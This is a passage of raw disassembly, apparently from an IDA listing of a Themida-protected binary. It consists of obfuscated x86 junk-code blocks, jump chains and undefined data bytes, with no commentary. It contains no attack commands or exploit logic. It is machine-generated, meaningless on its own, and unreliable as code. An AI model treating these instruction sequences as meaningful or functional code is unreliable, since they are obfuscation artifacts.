mov edi, 4 sub edx, edi jmp loc_5A0733 ; --------------------------------------------------------------------------- loc_5A917F: ; CODE XREF: Themida_:0059FA65j xor eax, 5C651CE2h jmp loc_5A9004 ; --------------------------------------------------------------------------- loc_5A9189: ; CODE XREF: Themida_:0059C2ABj sub ebp, ecx sub ebp, 686D676Dh sub ebp, 42B62F9h pop ecx mov ecx, [esp] add esp, 4 sub eax, ebp pop ebp add ebx, 10B91AD4h jmp loc_5A23C4 ; --------------------------------------------------------------------------- byte_5A91AF db 0ADh ; DATA XREF: Themida_:00598848o dd 6BE9BD55h, 0EE815B3Dh, 29085FE0h, 0C681EE29h, 29085FE0h dd 0FFC656E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A91C9: ; CODE XREF: Themida_:0059BA72j mov ebx, 380A4211h shr ebx, 1 shr ebx, 1 neg ebx sub ebx, 0F1FD6F78h add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx jmp loc_5A0807 ; --------------------------------------------------------------------------- dd 0FF7720E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A91ED: ; CODE XREF: Themida_:loc_598C5Fj ; Themida_:005A9102j pop edi push ebp mov ebp, 62FA105Dh dec ebp neg ebp jmp loc_5AD790 ; --------------------------------------------------------------------------- loc_5A91FC: ; CODE XREF: Themida_:005A99E5j mov [esp], edx mov edx, 5F510C7Bh neg edx push ecx mov ecx, 28990CB5h sub ecx, 796D2143h xor ecx, 37D513DFh sub ecx, 3D03813h sub ecx, 0FC9051A6h jmp loc_59E25A ; --------------------------------------------------------------------------- loc_5A9229: ; CODE XREF: Themida_:00599F51j add edi, 77A2EF1h sub edi, 66B26EECh sub esi, 35D90DABh sub esi, edi add esi, 35D90DABh jmp loc_5992D6 ; --------------------------------------------------------------------------- loc_5A9248: ; CODE XREF: Themida_:005ADE47j mov esi, esp push ebx mov ebx, 0EBB0FFAh dec ebx jmp loc_59BFE8 ; --------------------------------------------------------------------------- loc_5A9256: ; CODE XREF: Themida_:0059AFE5j or esi, 425D1736h xor esi, 7950007Dh xor esi, 984E8CC9h sub eax, esi pop esi xor ebp, eax pop eax jmp loc_59D5F4 ; --------------------------------------------------------------------------- loc_5A9273: ; CODE XREF: Themida_:005AF614j jg loc_5ADDCD neg dh add dh, 6 sub esp, 4 mov [esp], ecx mov ch, dh mov al, ch jmp loc_5A3628 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0F7h dd 0F68146DEh, 5EA40B12h, 685EF389h, 6678h, 0FF62E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A92A5: ; CODE XREF: Themida_:005ACC7Dj add eax, 1E9F386Dh jmp loc_5AEA6E ; --------------------------------------------------------------------------- loc_5A92AF: ; CODE XREF: Themida_:005A30B6j mov [esp], ebp push eax mov eax, 3493022Eh xor eax, 764E207Dh jmp loc_5AA345 ; --------------------------------------------------------------------------- dw 8349h dd 1C8904ECh, 4343BB24h, 0CDE90564h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A92D3: ; CODE XREF: Themida_:005A21AEj push edx mov edx, 717D4321h shr edx, 2 shl edx, 1 sub edx, 0ADBE098Eh add ebp, edx pop edx jmp loc_59FEBA ; --------------------------------------------------------------------------- aATa db '─й▓─Йк',0 aZ db 'пZ',0 a4qsS db 'ь,4QS╥╪╣╥И);',0 align 4 loc_5A9304: ; CODE XREF: Themida_:005A4EA0j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5A2386 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 50E90000h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A931F: ; CODE XREF: Themida_:005A1410j mov ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_599C13 ; --------------------------------------------------------------------------- dd 0B7A8F681h, 0DEF7384Fh, 71F3C681h, 0C1462945h, 0DEF703E6h dd 0FF784DE9h, 76B0BEFFh, 0F7315138h, 76BE9h, 0E9D2F600h dd 0FFFEF745h ; --------------------------------------------------------------------------- loc_5A9358: ; CODE XREF: Themida_:005A8EC9j or edx, 7A82E57h jz loc_5A0033 jmp loc_59A324 ; --------------------------------------------------------------------------- db 81h, 0EBh, 80h dd 0E910180Dh, 52FBh ; --------------------------------------------------------------------------- loc_5A9374: ; CODE XREF: Themida_:loc_5A666Fj jmp loc_5A27C2 ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 917F2D04h, 246C0120h, 246C8104h, 917F2D04h, 0C8B5D20h dd 4C48324h, 4C181h, 0BA520000h, 2E17BD3h, 0EA81DAF7h dd 524C42C0h, 0FF6046E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A93AD: ; CODE XREF: Themida_:0059CCFCj xor edi, ebp pop ebp xor edx, edi jmp loc_5A7809 ; --------------------------------------------------------------------------- loc_5A93B7: ; CODE XREF: Themida_:0059F9A7j xor edx, [esp] pop esp jmp loc_59F6AD ; --------------------------------------------------------------------------- loc_5A93C0: ; CODE XREF: Themida_:005A7E38j push ebx mov ebx, 42460C9Bh jmp loc_59966A ; --------------------------------------------------------------------------- loc_5A93CB: ; CODE XREF: Themida_:005A335Dj shr eax, 5 xor eax, 0AEB7C0Ch jns loc_5A0A72 jmp loc_59B1E3 ; --------------------------------------------------------------------------- dw 0EE83h dd 0ECB15604h ; --------------------------------------------------------------------------- loc_5A93E4: ; CODE XREF: Themida_:005A3A8Cj mov [esp], ebp mov ebp, 44B22367h and ebp, 3F2C2C40h jb loc_59E744 xor ebp, 60D9073Dh jnz loc_5A8A34 inc ebp jg loc_5AEE6A mov dh, dl push edx loc_5A940E: ; CODE XREF: Themida_:005A3245j add edi, 4 xchg edi, [esp] pop esp jmp loc_59CECC ; --------------------------------------------------------------------------- loc_5A941D: ; CODE XREF: Themida_:005AF6B7j add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 jmp loc_5A5F82 ; --------------------------------------------------------------------------- loc_5A942F: ; CODE XREF: Themida_:005A567Bj push edx jmp loc_59B1EB ; --------------------------------------------------------------------------- db 81h, 0F3h, 87h aThmsi db '▓hMИ┴;',0 align 10h dd 3DE8D52Dh, 58C689F3h, 37E9F089h db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A944F: ; CODE XREF: Themida_:0059F8EDj or di, 7F31h dec di not di jmp loc_5A27CF ; --------------------------------------------------------------------------- loc_5A945E: ; CODE XREF: Themida_:005AE81Aj push esi mov esi, esp jmp loc_5AB9F0 ; --------------------------------------------------------------------------- loc_5A9466: ; CODE XREF: Themida_:0059CBFEj push 570Dh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5AFB44 ; --------------------------------------------------------------------------- loc_5A947B: ; CODE XREF: Themida_:loc_5A3E91j add ecx, 0F1AE63ECh jmp loc_5A721D ; --------------------------------------------------------------------------- dw 15Ah dd 89565BDEh, 4EC83E6h, 0BF243C89h, 4, 835FFE01h, 348704EEh dd 96E8E924h, 8B51FFFFh, 0C481243Ch, 4, 4EC8357h, 3DAA68h dd 24248900h, 4240483h, 0E924048Fh, 0FFFFCD89h ; --------------------------------------------------------------------------- loc_5A94C8: ; CODE XREF: Themida_:0059A6E6j pop esp shr eax, 12h xor eax, ecx jmp loc_5A84A7 ; --------------------------------------------------------------------------- loc_5A94D3: ; CODE XREF: Themida_:005A1FF8j pop eax pop ebx jmp loc_5ABC6D ; --------------------------------------------------------------------------- loc_5A94DA: ; CODE XREF: Themida_:005AA7F0j push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5AADA6 ; --------------------------------------------------------------------------- loc_5A94ED: ; CODE XREF: Themida_:005A8BFFj pop esi push ebx push 292B3C62h pop ebx shr ebx, 2 jz loc_59FA6A add ebx, 354166h jnp loc_5992FE push 39FEh mov [esp], edi mov edi, 19AC0EEh xor ebx, edi mov edi, [esp] jmp loc_5AE577 ; --------------------------------------------------------------------------- loc_5A9521: ; CODE XREF: Themida_:005ABE2Bj add esi, 11BA782Dh jnp loc_59CD67 push edi mov edi, 12D95568h sub edi, 1EA6469Fh sub esi, edi jmp loc_5A013A ; --------------------------------------------------------------------------- dd 842DF001h, 5E618161h, 484E955h, 2C870000h, 0C6E95C24h db 90h, 2 dup(0FFh) byte_5A9557 db 0FFh ; DATA XREF: Themida_:005988ACo dd 48B2434h, 947CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9562: ; CODE XREF: Themida_:005AFBADj add edi, 4 xchg edi, [esp] pop esp add ebp, 4 push 2C50h mov [esp], esi mov esi, 2 sub ebp, 6642669Ch sub ebp, esi sub esp, 4 jmp loc_5AE2C3 ; --------------------------------------------------------------------------- db 59h dd 0E0C3815Eh, 81469741h, 700D0FEBh, 81EB011Fh, 700D0FC3h dd 0E0BF571Fh, 29469741h, 875D5FFBh, 0F5C241Ch, 92E9C8AFh db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A95BB: ; CODE XREF: Themida_:0059FA1Cj mov eax, 0E800AE5h push eax inc dword ptr [esp] pop eax jmp loc_5A70DF ; --------------------------------------------------------------------------- loc_5A95CA: ; CODE XREF: Themida_:005AB2A4j and edi, 183D07FBh neg edi jmp loc_59D6BE ; --------------------------------------------------------------------------- aXhL db 'XhжL',0 dd 24348900h, 0EC835E54h, 4D3EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A95EA: ; CODE XREF: Themida_:005A7659j push 4 jmp loc_5A90B2 ; --------------------------------------------------------------------------- dd 2EB9E381h, 0FF537C6Fh, 685B240Ch, 27F8h, 0BD242C89h dd 11D87B1Ah, 127BE56h, 0F531E8BFh, 8124348Bh, 4C4h, 5DEB0100h dd 2750642Dh, 5D80156h, 56275064h, 2923685Bh, 14890000h dd 6C685724h, 0E9000038h, 0FFFFD241h ; --------------------------------------------------------------------------- loc_5A9640: ; CODE XREF: Themida_:005A53F9j sub edx, ebx pop ebx xor edx, 126F0722h shr edx, 7 jmp loc_5A0312 ; --------------------------------------------------------------------------- loc_5A9651: ; CODE XREF: Themida_:005A5E0Ej mov ebx, ecx jmp loc_5AEA75 ; --------------------------------------------------------------------------- loc_5A9658: ; CODE XREF: Themida_:0059C84Fj sub eax, 2BB84577h pop esi jmp loc_5A6FEE ; --------------------------------------------------------------------------- loc_5A9663: ; CODE XREF: Themida_:005AFADBj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9668: ; CODE XREF: Themida_:loc_5AF557j shl edi, 8 jns loc_59FCD5 jmp loc_5AA171 ; --------------------------------------------------------------------------- word_5A9676 dw 77FFh ; DATA XREF: Themida_:005988A0o dd 58669D1Ch, 24041166h, 36B6E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9686: ; CODE XREF: Themida_:0059F335j xor eax, ecx push 7587h mov [esp], eax push 29FEh mov [esp], edi mov eax, [esp] push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_59D2A4 ; --------------------------------------------------------------------------- loc_5A96B4: ; CODE XREF: Themida_:005A2D60j mov ecx, 0AB460AD5h add ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_5A036E ; --------------------------------------------------------------------------- loc_5A96C6: ; CODE XREF: Themida_:005A45C8j sub esp, 4 mov [esp], eax mov eax, 5A533ED3h add edi, 0D1D1434h sub edi, eax sub edi, 0D1D1434h mov eax, [esp] add esp, 4 pop ebp xchg edi, [esp] jmp loc_5A395B ; --------------------------------------------------------------------------- dw 815Dh dd 0C46E1BC3h, 81F30129h, 0C46E1BEBh, 6453E929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9702: ; CODE XREF: Themida_:005A3CE5j pop ebp jmp loc_5AB451 ; --------------------------------------------------------------------------- loc_5A9708: ; CODE XREF: Themida_:005A3D53j add eax, 4 jmp loc_5A3667 ; --------------------------------------------------------------------------- dw 3668h dd 0E9000063h, 0FFFF2842h ; --------------------------------------------------------------------------- loc_5A971C: ; CODE XREF: Themida_:005A80C2j mov eax, 2F8A4F0Ah sub dword ptr [esp+8], 7EDC5AA0h add [esp+8], eax jmp loc_5A268C ; --------------------------------------------------------------------------- loc_5A9732: ; CODE XREF: Themida_:005AA8D1j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_59E3CD ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 5301E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9756: ; CODE XREF: Themida_:005A1C69j sub al, 0C9h pop dx sub al, bl push dx jmp loc_5AF5D7 ; --------------------------------------------------------------------------- loc_5A9763: ; CODE XREF: Themida_:0059F8B3j pop esi mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 21D60E2Dh dec eax inc eax jle loc_5A2759 shr eax, 6 jmp loc_59D1FA ; --------------------------------------------------------------------------- loc_5A978B: ; CODE XREF: Themida_:005AC3F7j add esi, 28986918h add esi, 3E625214h sub esi, ebp push ebx mov ebx, 28915DF1h xor ebx, 16F30FE5h sub esi, ebx pop ebx sub esi, 28986918h pop ebp pop eax push 312Bh mov [esp], ecx jmp loc_5A4497 ; --------------------------------------------------------------------------- loc_5A97BD: ; CODE XREF: Themida_:loc_5A4136j sub ebx, 3BED5547h add ebx, ebp jmp loc_5AA31C ; --------------------------------------------------------------------------- loc_5A97CA: ; CODE XREF: Themida_:0059A647j inc ecx jle loc_599FB8 sub ecx, 0B74A92D7h mov esi, ecx pop ecx and cl, 4Dh push edi loc_5A97DE: ; CODE XREF: Themida_:0059B520j mov [esp], dx mov dl, 7Fh push ecx mov cl, 9Dh or cl, 54h inc cl add cl, 3Bh sub bl, cl jmp loc_5A3527 ; --------------------------------------------------------------------------- loc_5A97F6: ; CODE XREF: Themida_:005ABF14j push edx mov edx, esp add edx, 4 jmp loc_5A8993 ; --------------------------------------------------------------------------- loc_5A9804: ; CODE XREF: Themida_:005A8BC8j push edi jmp loc_59DD75 ; --------------------------------------------------------------------------- loc_5A980A: ; CODE XREF: Themida_:005A8E09j push edx jmp loc_5ABB48 ; --------------------------------------------------------------------------- loc_5A9810: ; CODE XREF: Themida_:005AA01Bj ; Themida_:loc_5AA0F2j or ebp, 6D3B3F23h jmp loc_5A6100 ; --------------------------------------------------------------------------- loc_5A981B: ; CODE XREF: Themida_:005A5CB2j mov [esp], ecx jmp loc_5A1222 ; --------------------------------------------------------------------------- loc_5A9823: ; CODE XREF: Themida_:0059EC12j shr edx, 1 jmp loc_5A63B4 ; --------------------------------------------------------------------------- loc_5A982A: ; CODE XREF: Themida_:0059F504j mov eax, 2 sub edi, eax jmp loc_5A3E5E ; --------------------------------------------------------------------------- dw 0C681h dd 113E3F7Eh, 4EE8159h, 87000000h, 248B2434h, 241C8924h dd 51D468h, 24148900h, 0BAh, 5AD38900h, 0FF2725E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9861: ; CODE XREF: Themida_:005ACF06j add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_5A0585 ; --------------------------------------------------------------------------- db 1 dd 0E9815FF9h, 4, 5C240C87h, 0E9240C89h, 0FFFF0785h ; --------------------------------------------------------------------------- loc_5A9884: ; CODE XREF: Themida_:005A9CB7j add esp, 4 push ebp mov ebp, 65964AC5h push eax jmp loc_5A90CB ; --------------------------------------------------------------------------- loc_5A9896: ; CODE XREF: Themida_:005ACD69j add esi, 843769Eh push eax mov eax, esp add eax, 4 jmp loc_598A29 ; --------------------------------------------------------------------------- loc_5A98A9: ; CODE XREF: Themida_:0059E60Fj sub esp, 2 mov [esp], bx push 423Ah mov [esp], edx jmp loc_5A5CAD ; --------------------------------------------------------------------------- loc_5A98C0: ; CODE XREF: Themida_:loc_59FE0Ej jmp loc_59CC12 ; --------------------------------------------------------------------------- byte_5A98C5 db 64h, 66h, 8Bh ; DATA XREF: Themida_:005987CCo dd 0E08CE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A98CE: ; CODE XREF: Themida_:005A6BAAj mov ebp, 41B14184h add edi, ebp jmp loc_59E3A8 ; --------------------------------------------------------------------------- dw 0D6F6h dd 0F0CC680h, 0FFF18782h, 0F2E680FFh, 0FC2CE80h, 1E568Ah dd 80D6F600h, 5053C8F6h, 8DE9F088h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A98FF: ; CODE XREF: Themida_:0059A3C1j mov [esp], edx push eax mov eax, 0AB826E9h mov edx, eax pop eax shr edx, 6 jmp loc_5A05C1 ; --------------------------------------------------------------------------- loc_5A9913: ; CODE XREF: Themida_:005A7BACj pop ecx jmp loc_5A3D85 ; --------------------------------------------------------------------------- loc_5A9919: ; CODE XREF: Themida_:0059AD91j add esp, 4 jmp loc_5A0661 ; --------------------------------------------------------------------------- loc_5A9921: ; CODE XREF: Themida_:0059F823j add esi, eax jmp loc_59A055 ; --------------------------------------------------------------------------- loc_5A9928: ; CODE XREF: Themida_:005A8264j mov eax, ecx push eax jmp loc_5AE310 ; --------------------------------------------------------------------------- loc_5A9930: ; CODE XREF: Themida_:005A84E3j ; Themida_:005AD360j push esp jmp loc_599EAA ; --------------------------------------------------------------------------- loc_5A9936: ; CODE XREF: Themida_:005A40F5j dec bh jmp loc_5A4D09 ; --------------------------------------------------------------------------- db 4Eh, 0Fh, 8Fh dd 24E7h, 0FF00FDE9h, 241C89FFh db 8Ah, 0FBh, 50h ; --------------------------------------------------------------------------- loc_5A994F: ; CODE XREF: Themida_:005AB4ADj push esi sub esp, 4 mov [esp], ebp mov ebp, 3231321Dh xor [esp+4], ebp pop ebp jmp loc_5AEE28 ; --------------------------------------------------------------------------- loc_5A9965: ; CODE XREF: Themida_:005A7483j mov [esp], ebx push 0A1A7F69h pop ebx shl ebx, 2 push eax jmp loc_5AA962 ; --------------------------------------------------------------------------- loc_5A9977: ; CODE XREF: Themida_:00598FD2j push esi mov esi, 69FD2937h not esi jmp loc_598CA9 ; --------------------------------------------------------------------------- loc_5A9984: ; CODE XREF: Themida_:005ACF4Bj jmp loc_5AAB0C ; --------------------------------------------------------------------------- loc_5A9989: ; CODE XREF: Themida_:005AEF8Fj xor esi, [esp] mov esp, [esp] jmp loc_5A7189 ; --------------------------------------------------------------------------- loc_5A9994: ; CODE XREF: Themida_:00599376j pop ebx push esi push ebx mov ebx, 15071E1Bh push ebx jmp loc_5AEB0D ; --------------------------------------------------------------------------- loc_5A99A2: ; CODE XREF: Themida_:0059CD48j mov ebx, 542C13B1h xor edx, ebx pop ebx jmp loc_5AFA55 ; --------------------------------------------------------------------------- loc_5A99AF: ; CODE XREF: Themida_:005AB2D5j mov edx, [esp] add esp, 4 push edi mov edi, 4 jmp loc_59BC7A ; --------------------------------------------------------------------------- loc_5A99C0: ; CODE XREF: Themida_:0059955Ej push edx push esi jmp loc_5A5CF5 ; --------------------------------------------------------------------------- db 81h dd 0BD57FAC6h, 3721E958h, 8DBD0000h, 0E92EE289h, 0FFFF0DF9h ; --------------------------------------------------------------------------- loc_5A99DC: ; CODE XREF: Themida_:0059B207j ; Themida_:005AC753j sub edi, 1 sub esp, 4 jmp loc_5A91FC ; --------------------------------------------------------------------------- loc_5A99EA: ; CODE XREF: Themida_:005A51D4j push 5E42h mov [esp], ecx jmp loc_5A533E ; --------------------------------------------------------------------------- loc_5A99F7: ; CODE XREF: Themida_:005A01D1j or esi, 245A1737h shr esi, 5 sub esi, 13FF3FBh jmp loc_5A619C ; --------------------------------------------------------------------------- loc_5A9A0B: ; CODE XREF: Themida_:005A6FCEj sub esp, 4 mov [esp], edx mov edx, 2Ch jmp loc_5AEF1B ; --------------------------------------------------------------------------- loc_5A9A1E: ; CODE XREF: Themida_:loc_5A1C0Bj add ebx, 6588C861h mov ebp, ebx jmp loc_5AAC0B ; --------------------------------------------------------------------------- db 53h dd 0F780D0B7h, 5BF9080Eh, 80FFE980h, 0D6E938C1h, 83FFFF57h dd 0BA5204C4h, 143D16CFh, 24A1EA81h, 6EE900F7h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9A53: ; CODE XREF: Themida_:0059BACDj mov edi, 4 jmp loc_5A9F12 ; --------------------------------------------------------------------------- loc_5A9A5D: ; CODE XREF: Themida_:0059FD25j add dword ptr [esp+4], 1F7C7080h sub [esp+4], eax jmp loc_5ACB9C ; --------------------------------------------------------------------------- loc_5A9A6E: ; CODE XREF: Themida_:005A6F92j mov edi, esp add edi, 4 jmp loc_59EB3B ; --------------------------------------------------------------------------- aS_f db '\И_F',0 db 0 ; --------------------------------------------------------------------------- loc_5A9A81: ; CODE XREF: Themida_:0059DFF9j add esp, 4 add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5A36D7 ; --------------------------------------------------------------------------- loc_5A9A95: ; CODE XREF: Themida_:005AD80Bj inc dx sub esp, 2 mov [esp], bp mov bp, 793Ah or dx, bp pop bp jmp loc_5A8389 ; --------------------------------------------------------------------------- loc_5A9AAC: ; CODE XREF: Themida_:005A70A1j mov edi, 45387BACh sub edi, 6F1855EAh jmp loc_5A871E ; --------------------------------------------------------------------------- dd 7BB0E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9AC2: ; CODE XREF: Themida_:005A0A1Ej pop edx add bl, cl sub bl, 59h pop cx movzx eax, al push small 3A5Ah mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 16DFE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9AE6: ; CODE XREF: Themida_:0059D9C9j xchg edi, [esp] jmp loc_5AD87D ; --------------------------------------------------------------------------- loc_5A9AEE: ; CODE XREF: Themida_:005AB686j xchg ecx, [esp] pop esp mov [esp], ax jmp loc_5A53E6 ; --------------------------------------------------------------------------- loc_5A9AFB: ; CODE XREF: Themida_:005AAD8Fj push eax mov eax, 37FD59DEh shl eax, 6 jnp loc_5AC4A0 inc eax jp loc_59D193 mov edx, ecx pop esi loc_5A9B14: ; CODE XREF: Themida_:loc_599059j ; Themida_:0059E1B9j shr dl, 2 dec dl jmp loc_5A79EC ; --------------------------------------------------------------------------- loc_5A9B1E: ; CODE XREF: Themida_:005A4C7Ej push eax push ebp push 73DC1BADh jmp loc_59E142 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4F99E9h db 0 ; --------------------------------------------------------------------------- loc_5A9B35: ; CODE XREF: Themida_:005A4319j push esp pop edi push 53Eh mov [esp], eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 push eax mov eax, 5FC213D8h jmp loc_59C615 ; --------------------------------------------------------------------------- loc_5A9B57: ; CODE XREF: Themida_:005AF815j sub ecx, 7C9DA0E2h mov ebp, ecx pop ecx jmp loc_5ADDDD ; --------------------------------------------------------------------------- loc_5A9B65: ; CODE XREF: Themida_:0059E498j pop ebx mov [eax], ecx pop eax pop ecx jmp loc_59E7BE ; --------------------------------------------------------------------------- loc_5A9B6F: ; CODE XREF: Themida_:0059B952j push edx mov edx, 40544ABEh or edx, 7E5D1BFBh shl edx, 2 shr edx, 5 jmp loc_5A45E7 ; --------------------------------------------------------------------------- loc_5A9B86: ; CODE XREF: Themida_:0059CEB8j mov edx, 61B9649Ch mov ecx, 61B9649Dh sub ecx, edx jmp loc_5A0115 ; --------------------------------------------------------------------------- db 81h dd 73484AE1h, 0AF870F1Bh, 41FFFF19h, 1F1B8F0Fh, 9BE9FFFFh db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9BAF: ; CODE XREF: Themida_:loc_5A28D2j push edx mov edx, 71682ABDh xor esi, edx mov edx, [esp] add esp, 4 mov ebp, esi pop esi push ebp mov ebp, 3C345579h mov eax, 32890D0Dh jmp loc_5A0C25 ; --------------------------------------------------------------------------- dd 1FB5E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9BD6: ; CODE XREF: Themida_:005A6941j jmp loc_5AABF1 ; --------------------------------------------------------------------------- loc_5A9BDB: ; CODE XREF: Themida_:0059E3C1j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9BE0: ; CODE XREF: Themida_:005A00C7j add edi, 46EF22A9h and edi, 4C874AFAh jnz loc_5AD571 or edi, 183F156Dh sub al, 40h mov dh, 0E7h loc_5A9BFC: ; CODE XREF: Themida_:0059E7ADj pop edx add ebx, ebp sub esp, 4 mov [esp], edi mov edi, 42090643h add ebx, edi jmp loc_5AD9D1 ; --------------------------------------------------------------------------- loc_5A9C14: ; CODE XREF: Themida_:005AA67Bj mov ebx, [esp] push eax jmp loc_5ADDB1 ; --------------------------------------------------------------------------- loc_5A9C1D: ; CODE XREF: Themida_:005995CDj add eax, ebx pop ebx mov ebp, eax mov eax, [esp] push 27F9h mov [esp], ebx mov ebx, esp add ebx, 4 push edx jmp loc_599E8D ; --------------------------------------------------------------------------- loc_5A9C3B: ; CODE XREF: Themida_:0059A8EFj inc eax jmp loc_598B90 ; --------------------------------------------------------------------------- loc_5A9C41: ; CODE XREF: Themida_:005A3DE9j mov ebp, 5317151Fh shl ebp, 3 jp loc_5A8488 not ebp xor ebp, 3BE66E6Ah sub ebp, 3D9EF6FDh mov edx, ebp pop ebp add edx, 4EE26D5Ah shl edx, 6 add edx, 1A597210h shl edx, 1 jmp loc_59D270 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 8B241487h, 34FF2424h, 2434FF24h, 0E8E95758h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9C8F: ; CODE XREF: Themida_:0059A084j mov [esp], ebp push ebx push 6BBE1B1Bh jmp loc_5AC96F ; --------------------------------------------------------------------------- loc_5A9C9D: ; CODE XREF: Themida_:005AC148j sub esp, 4 mov [esp], ebx push 4C3A0E11h push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_5A9884 ; --------------------------------------------------------------------------- loc_5A9CBC: ; CODE XREF: Themida_:005A705Dj pop ebx add al, ch jmp loc_5ACE1A ; --------------------------------------------------------------------------- loc_5A9CC4: ; CODE XREF: Themida_:0059A1C6j jns loc_599F4B or edi, 438336Ch jmp loc_5A5F56 ; --------------------------------------------------------------------------- loc_5A9CD5: ; CODE XREF: Themida_:0059D280j inc eax shr eax, 8 and eax, 5E0B0DD4h neg eax xor eax, 0B646ED29h sub ebp, eax mov eax, [esp] jmp loc_5A2C5C ; --------------------------------------------------------------------------- loc_5A9CEF: ; CODE XREF: Themida_:0059B2BCj push esp pop ecx push edx mov edx, 4 add ecx, 492F74D9h add ecx, edx sub ecx, 492F74D9h jmp loc_5AF6BC ; --------------------------------------------------------------------------- dw 0EE81h dd 6B604F99h, 2BD78B0Fh, 0F681FFFFh, 0B4A6D0E3h, 295EF289h dd 1A40E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9D26: ; CODE XREF: Themida_:0059E72Fj jo loc_5A0D01 neg eax jl loc_59DB02 xor eax, 67A1525Eh xor eax, 23F25F76h mov esi, eax pop eax jmp loc_5A2C21 ; --------------------------------------------------------------------------- loc_5A9D46: ; CODE XREF: Themida_:0059BD32j sub eax, 166932F1h sub eax, 645014E4h xor [eax], ebx pop eax jmp loc_5A65A2 ; --------------------------------------------------------------------------- loc_5A9D58: ; CODE XREF: Themida_:005A7D95j add esp, 4 add ebp, 4 jmp loc_59EB06 ; --------------------------------------------------------------------------- loc_5A9D66: ; CODE XREF: Themida_:005AC389j xchg ecx, [esp] jmp loc_5AF8FB ; --------------------------------------------------------------------------- loc_5A9D6E: ; CODE XREF: Themida_:005AEB21j push ebx mov ebx, 74A97845h mov ecx, ebx pop ebx push ebx mov ebx, 78316A1Dh jmp loc_5AB0F6 ; --------------------------------------------------------------------------- loc_5A9D82: ; CODE XREF: Themida_:005A75E9j neg ebx xor ebx, 84E432BBh sub ecx, ebx pop ebx jmp loc_5A1517 ; --------------------------------------------------------------------------- loc_5A9D92: ; CODE XREF: Themida_:005A012Cj push ebp push ebx mov ebx, 1BFCDCDEh mov ebp, ebx pop ebx add ecx, ebp mov ebp, [esp] jmp loc_59C660 ; --------------------------------------------------------------------------- loc_5A9DA6: ; CODE XREF: Themida_:0059D91Dj sub ecx, eax pop eax sub ecx, 1746197Dh xor ecx, 6F33417h sub eax, ecx pop ecx add eax, ecx push ebx mov ebx, 438194Ch inc ebx jmp loc_5ADB49 ; --------------------------------------------------------------------------- dw 3489h dd 34FF5424h, 0C4835E24h, 4C68104h, 52000000h, 4BAh, 5B49E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9DE2: ; CODE XREF: Themida_:loc_5A4F0Bj not eax add eax, 0CE517951h push 0 jmp loc_5A2B37 ; --------------------------------------------------------------------------- loc_5A9DF3: ; CODE XREF: Themida_:0059B5C9j xor ebp, 3E107345h xor ebp, 76753226h add eax, 3BDA60FBh add eax, ebp sub eax, 3BDA60FBh pop ebp xchg eax, [esp] mov esp, [esp] jmp loc_5AC7C2 ; --------------------------------------------------------------------------- db 51h dd 0B513A3B9h, 0E9CB895Ch, 0FFFF7C85h ; --------------------------------------------------------------------------- loc_5A9E24: ; CODE XREF: Themida_:005AAEF4j push ebp mov ebp, 4 sub edi, ebp jmp loc_5AE9C7 ; --------------------------------------------------------------------------- loc_5A9E31: ; CODE XREF: Themida_:0059B7E4j push ecx mov cl, 0CDh mov dl, cl pop ecx add dl, 9 or dl, 55h push eax mov al, 3Eh xor dl, al pop eax sub al, dl pop edx sub al, 93h pop ecx mov cx, [esp] jmp loc_59D31F ; --------------------------------------------------------------------------- dw 0F681h dd 0E979A08Bh, 15EF301h, 9AEB81FBh, 0FF2CF920h, 835F2434h dd 0EC8104C4h, 4, 55243489h, 890CEABDh, 4FF5814Ah, 8158CC2Dh dd 9A0315CDh, 0D5F7452Eh, 0DC45ED81h, 0EE89C120h, 0FFF859E9h db 0FFh ; --------------------------------------------------------------------------- 